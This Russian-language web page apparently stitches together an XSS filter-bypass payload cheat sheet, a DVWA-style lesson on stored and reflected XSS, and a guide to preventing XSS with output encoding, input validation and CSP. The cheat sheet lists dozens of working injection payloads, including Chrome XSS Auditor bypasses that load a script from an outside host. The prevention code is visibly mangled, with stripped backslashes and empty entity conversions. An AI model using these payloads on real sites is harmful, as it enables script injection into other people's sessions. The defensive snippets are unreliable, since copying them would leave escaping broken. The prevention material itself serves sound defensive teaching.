onSeek
onSelect
onSelectionChange
onSelectStart
onStart
onStop
onStorage
onSyncRestored
onSubmit
onTimeError
onTrackChange
onUndo
onUnload
onURLFlip
seekSegmentTime
Примеры XSS-пейлоадов для обхода фильтрации
Добавление тега:
<svg onload=alert(1)>
"><svg onload=alert(1)//
Инлайн пейлоад:
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
Javascript пейлоады:
'-alert(1)-'
'-alert(1)//
'- alert (1) //
Javascript пейлоад (добавление тега):
</ Script> <svg onload = alert (1)>
Внедрение PHP_SELF:
http: //DOMAIN/PAGE.php/ "> <svg onload = alert (1)>
Обход фильтрации скобок:
<svg onload=alert`1`>
<svg onload=alert(1)>
<svg onload=alert(1)>
<svg onload=alert(1)>
Обход фильтра “alert”:
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
alu0065rt(1)
top['al145rt'](1)
top['alx65rt'](1)
top[8680439..toString(30)](1)
Тег body:
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)
Редко используемые теги:
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
Обработчики событий:
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
Прямое выполнение:
<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
$<!-- math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
$<!-- math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
Обработчики мобильных событий:
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<body onorientationchange=alert(1)>
Загрузка файлов:
"><img src=1 onerror=alert(1)>.gif
В метаданных
$ exiftool -Artist='"><img src=1 onerror=alert(1)>' FILENAME.jpeg
В SVG файле
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
GIF файл в качестве источника
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Обход XSS аудитора Google Chrome (до 51 версии):
<script src="data:,alert(1)//
"><script src=data:,alert(1)//
<script src="//brutelogic.com.br/1.js#
"><script src=//brutelogic.com.br/1.js#
<link rel=import href="data:text/html,<script>alert(1)</script>
"><link rel=import href=data:text/html,<script>alert(1)</script>
Заключение
Придерживаться правила: all input is evil until proven otherwise.
Проверять входящие данные.
Проверять вывод.
Использовать комплексные средства защиты веб-приложений от хакерских атак.
Просмотров: 61
Рассмотрим вопрос того, как мы можем предотвратить уязвимости XSS. Как только пользователь вводит что-либо на странице в текстовое поле или параметр. Этот текст переводится в HTML. Иными словами, он становится частью страницы, и если есть код JavaScript, то он будет выполняться.
Чтобы предотвратить этот эксплойт, нужно попробовать минимизировать использование полей ввода, и каждый раз, когда что-то вводится через параметры, нужно просто минимизировать. Также нужно заменять то, что используется на данной HTML— странице. XSS может быть внедрен не только в тех местах, где текст выводится на страницу, но он также может быть передан параметром некоторых элементов HTML-страницы. Нужно конвертировать эти символы, чтобы избежать внедрение кода.
Давайте попрактикуемся и рассмотрим наглядные примеры безопасности.
Перейдем на страничку Stored XSS, где мы увидим всплывающие окна:
Далее нужно выбрать запись в гостевой книге. У меня это «Timcore»:
Рассмотрим более внимательнее этот код. Откроем тег <div>, и увидим поле «Name», и поле «Message»:
Смысл в том, что каждый раз, при открытии этой страницы, код JavaScript выполняется раз за разом.
К слову сказать, параметр «id», в теге <div>, не отображается на странице, но хакеры могут попытаться использовать эти параметры, а также другие теги («img», «src», «url»), для проведения этой атаки.
Нам нужно фильтровать, то, что вводят пользователи, в эквивалент HTML. Если взять наглядный пример, с внедренным скриптом:
В итоге мы получим данный скрипт в поле «Message» на странице, без возможности выполнения.
Давайте я изменю настройки безопасности на «high», «высокие»:
Можем перейти на страницу «Reflected XSS», разницы никакой нет, и введем наш скрипт, который мы тестировали уже:
Как видим, вывод проходит, как обычный текст, и нет исполняемого кода. Давайте посмотрим на исходники этой страницы, на наш скрипт:
На первый взгляд кажется, что инъекция прошла успешно. На самом деле все не так, и теги экранируются в специальные символы.
Все, благодаря функции «htmlspecialchars». Посмотрим на исходники, с помощью кнопки «view sourse»:
Эта функция обрабатывает каждый символ, который Вы введете. Она также сообщает это HTML, и браузеру, что изменит их на эквивалентные символы в коде HTML.
На самом деле, не важно какую инъекцию Вы пытаетесь сделать, так как будет проходить процесс конвертации.
Если Вы обычный пользователь, то в данном случае URL будет выглядеть, как обычный и доверенный. В данной ситуации, я рекомендую быть осторожным при переходе по ссылкам, и получения каких-либо не рекомендуемых формах (всплывающие окна).
Если Вы скачиваете что-то, то постарайтесь обратить внимание на то, чтобы был официальный сайт, и HTTPS. Всегда сверяйте контрольные суммы софта, чтобы избежать возможность подлога.
Если Вы получили фейковое уведомление о вводе логина и пароля (на примере Facebook), то игнорируйте его.
На этом все. Всем хорошего дня!
#1 Что такое уязвимость XSS (Cross Site Scripting)? Типы XSS.
#2 Исследование Reflected XSS (уровень Low).
#3 Исследование Reflected XSS — Средний уровень.
#4 Исследование Reflected XSS — (Сложный уровень).
#5 Исследование уязвимости Stored XSS. (Уровень Low).
#6 Исследование уязвимости Stored XSS (Средний уровень).
#7 Исследование уязвимости DOM Based XSS.
Опубликовано: воскресенье, 12 февраля 2023 г. в 10:14
- Security
В этой стать мы опишем некоторые общепринятые принципы предотвращения XSS уязвимостей и способы использования различных распространённых технологий защиты от XSS атак.
Предотвращение Межсайтовых сценариев (XSS) обычно достигается за счёт двух уровней защиты:
- Кодирование данных на выходе
- Валидация вводимых данных
Кодирование данных на выходе
Кодирование следует применять непосредственно перед записью данных, контролируемых пользователем, на страницу, потому что контекст, в который вы записываете, определяет, какую кодировку вам нужно использовать. Например, значения внутри строки JavaScript требуют другого типа экранирования, чем в контексте HTML.
В контексте HTML вы должны преобразовать значения, не внесённые в белый список, в HTML сущности:
<
конвертировать в:<
>
конвертировать в:>
В контексте строки JavaScript не буквенно-цифровые значения должны быть экранированы в Unicode:
<
конвертировать в:u003c
>
конвертировать в:u003e
Иногда нужно применить несколько слоёв кодирования в правильном порядке. Например, чтобы безопасно встроить пользовательский ввод в обработчик события, вам необходимо иметь дело как с контекстом JavaScript, так и с контекстом HTML. Итак, вам нужно сначала экранировать в Unicode ввод, а затем преобразовать в HTML-сущности:
<a href="#" onclick="x='This string needs two layers of escaping'">test</a>
Валидация вводимых данных
Кодирование, вероятно, является самой важной линией защиты от XSS, но этого недостаточно для предотвращения уязвимостей в каждом контексте. Вы также должны как можно более строго проверять входные данные в момент их первого получения от пользователя.
Примеры проверки ввода включают:
- Если пользователь отправляет URL-адрес, который будет возвращён в ответах, подтверждающих, что он начинается с безопасного протокола, такого как HTTP и HTTPS. В противном случае кто-то может использовать ваш сайт с вредоносными протоколами, такими как
javascript
илиdata
. - Если пользователь предоставляет значение, которое, как ожидается будет числовым. Проверка того, что значение действительно является целым числом.
- Проверка того, что ввод содержит только ожидаемый набор символов.
В идеале проверка ввода должна работать, блокируя недопустимый ввод. Альтернативный подход, заключающийся в попытке очистить не валидный ввод, чтобы сделать его валидным, более подвержен ошибкам, и его следует по возможности избегать.
Белый список или Чёрный список
Валидация ввода должна использовать белые списки, а не чёрные списки. Например, вместо того, чтобы пытаться составить список всех вредоносных протоколов (javascript
, data
и т.д.), просто составьте список безопасных протоколов (HTTP
, HTTPS
) и запретите всё, чего нет в списке. Это гарантирует, что ваша защита не сломается, когда появятся новые вредоносные протоколы, и сделает её менее восприимчивой к атакам пытающимся скрыть недопустимые значения для обхода чёрного списка.
Разрешение безопасного
HTML
По возможности следует избегать предоставления пользователям размещать HTML-разметку, но иногда это бывает требование бизнеса. Например, сайт блог может разрешать размещение комментариев, содержащих некоторую ограниченную HTML-разметку.
Классический подход — попытаться отфильтровать потенциально опасные теги и JavaScript. Вы можете попытаться реализовать это с помощью белого списка безопасных тегов и атрибутов, но из-за несоответствий в механизмах синтаксического анализа браузера и особенностей, таких как мутация XSS, этот подход чрезвычайно сложно реализовать безопасно.
Наименее плохой вариант — использовать библиотеку JavaScript, выполняющую фильтрацию и кодирование в браузере пользователя, например DOMPurify
. Другие библиотеки позволяют пользователям предоставлять контент в формате markdown и преобразовывать его в HTML. К сожалению, все эти библиотеки имеют XSS уязвимости появляющиеся время от времени, так что это не идеальное решение. Если вы используете одну из них, вам следует следить за обновлениями безопасности.
Как предотвратить XSS с помощью механизма шаблонов
Многие современные веб-сайты используют механизмы шаблонов на стороне сервере, такие как Twig, Blade и Freemarker, для встраивания динамического содержимого в HTML. Обычно они определяют свою собственную систему экранирования. Например, в Twig вы можете использовать фильтр e()
м аргументом определяющим контекст:
{{ user.firstname | e('html') }}
Некоторые механизмы шаблонов, такие как Jinja и React, по умолчанию избегают динамического содержимого, что эффективно предотвращает большинство случаев XSS.
Мы рекомендуем внимательно изучить функции экранирования, когда вы решаете, следует ли использовать данный механизм шаблонов или платформу.
Примечание. Если вы напрямую объединяете пользовательский ввод в строки шаблона, вы будете уязвимы для внедрения шаблона на стороне сервера, что зачастую более серьёзно, чем XSS.
Как предотвратить XSS в PHP
В PHP есть встроенная функция для кодирования сущностей, называемая htmlentities
. Вы должны вызывать эту функцию для экранирования ввода, когда находитесь внутри HTML контекста. Функция должна вызываться с тремя аргументами:
- Ваша входящая строка.
ENT_QUOTES
— флаг, указывающий, что все кавычки должны быть закодированы.- Набор символов, который в большинстве случаев должен быть
utf-8
.
Например:
<?php echo htmlentities($input, ENT_QUOTES, 'UTF-8');?>
Когда вы находитесь в контексте строки JavaScript, вам необходимо экранировать ввод Unicode, как уже было описано. К сожалению, PHP не предоставляет API для экранирования Unicode строки. Вот пример кода, как реализовать это в PHP:
<?php function jsEscape($str) {
$output = '';
$str = str_split($str);
for($i=0;$i<count($str);$i++) {
$chrNum = ord($str[$i]);
$chr = $str[$i];
if($chrNum === 226) {
if(isset($str[$i+1]) && ord($str[$i+1]) === 128) {
if(isset($str[$i+2]) && ord($str[$i+2]) === 168) {
$output .= 'u2028';
$i += 2;
continue;
}
if(isset($str[$i+2]) && ord($str[$i+2]) === 169) {
$output .= 'u2029';
$i += 2;
continue;
}
}
}
switch($chr) {
case "'":
case '"':
case "n";
case "r";
case "&";
case "\";
case "<":
case ">":
$output .= sprintf("\u%04x", $chrNum);
break;
default:
$output .= $str[$i];
break;
}
}
return $output;
}
?>
Пример использования jsEscape
в PHP:
<script>x = '<?php echo jsEscape($_GET['x'])?>';</script>
В качестве альтернативы вы можете использовать механизм шаблонов.
Как предотвратить XSS на стороне клиента в JavaScript
Для экранирования пользовательского ввода в HTML а контексте JavaScript, вам нужен собственный кодировщик HTML, поскольку JavaScript не предоставляет API для кодирования HTML. Вот пример кода JavaScript преобразующий строку в HTML-сущности:
function htmlEncode(str){
return String(str).replace(/[^w. ]/gi, function(c){
return '&#'+c.charCodeAt(0)+';';
});
}
Данную функцию можно использовать следующим образом:
<script>document.body.innerHTML = htmlEncode(untrustedValue)</script>
Если ваш ввод находится внутри строки JavaScript, вам нужен кодировщик выполняющий Unicode экранирование. Вот пример Unicode кодировщика:
function jsEscape(str){
return String(str).replace(/[^w. ]/gi, function(c){
return '\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4);
});
}
Вы можете использовать его следующим способом:
<script>document.write('<script>x="'+jsEscape(untrustedValue)+'";</script>')</script>
Как предотвратить XSS в jQuery
Наиболее распространённая форма XSS в jQuery — передача пользовательского ввода селектору jQuery. Веб-разработчики часто использовали location.hash
и передавали его селектору, что вызывало XSS, поскольку jQuery отображал HTML. Разработчики jQuery распознали эту проблему и исправили логику селектора для проверки, начинается ли ввод с хэша. Теперь jQuery будет отображать HTML только в том случае, если первым символом является <
. Если вы передаёте ненадёжные данные в селектор jQuery, убедитесь, что вы правильно экранируете значение, используя функцию jsEscape
приведённую выше.
Смягчение XSS с помощью Политики Безопасности Контента (CSP)
Политика безопасности контента (CSP) — последняя линия защиты от межсайтовых сценариев. Если ваша защита от XSS не работает, вы можете использовать CSP для смягчения XSS, ограничивая действия злоумышленника.
CSP позволяет управлять различными вещами, например, можно ли загружать внешние сценарии и будут ли выполняться встроенные сценарии. Чтобы развернуть CSP, необходимо включить заголовок HTTP ответа с именем Content-Security-Policy
и значением содержащим вашу политику.
Пример CSP выглядит следующим образом:
default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'none';
Эта политика указывает, что такие ресурсы, как изображения и скрипты, могут загружаться только из того же источника, что и главная страница. Таким образом, даже если злоумышленник сможет успешно внедрить полезную нагрузку XSS, он сможет загружать ресурсы только из текущего источника. Это значительно снижает вероятность того, что злоумышленник сможет воспользоваться XSS-уязвимостью.
Если вам потребуется загрузка внешних ресурсов, убедитесь, что вы разрешаете только сценарии, которые не помогают злоумышленнику использовать ваш сайт. Например, если вы внесёте ы белый список определённые домены, злоумышленник сможет загрузить любой сценарий с этих доменов. По возможности старайтесь размещать ресурсы на собственном домене.
Если это невозможно, вы можете использовать политику хэша или основанную на nonce для разрешения сценариев в разных доменах. Nonce — случайная строка, добавляемая в качестве атрибута сценария или ресурса, которые будут исполняться только в том случае, если случайная строка совпадает со сгенерированной сервером. Злоумышленник не может угадать рандомизированную строку и, следовательно, не может вызвать сценарий или ресурс с допустимым одноразовым номером, поэтому ресурс не будет выполнен.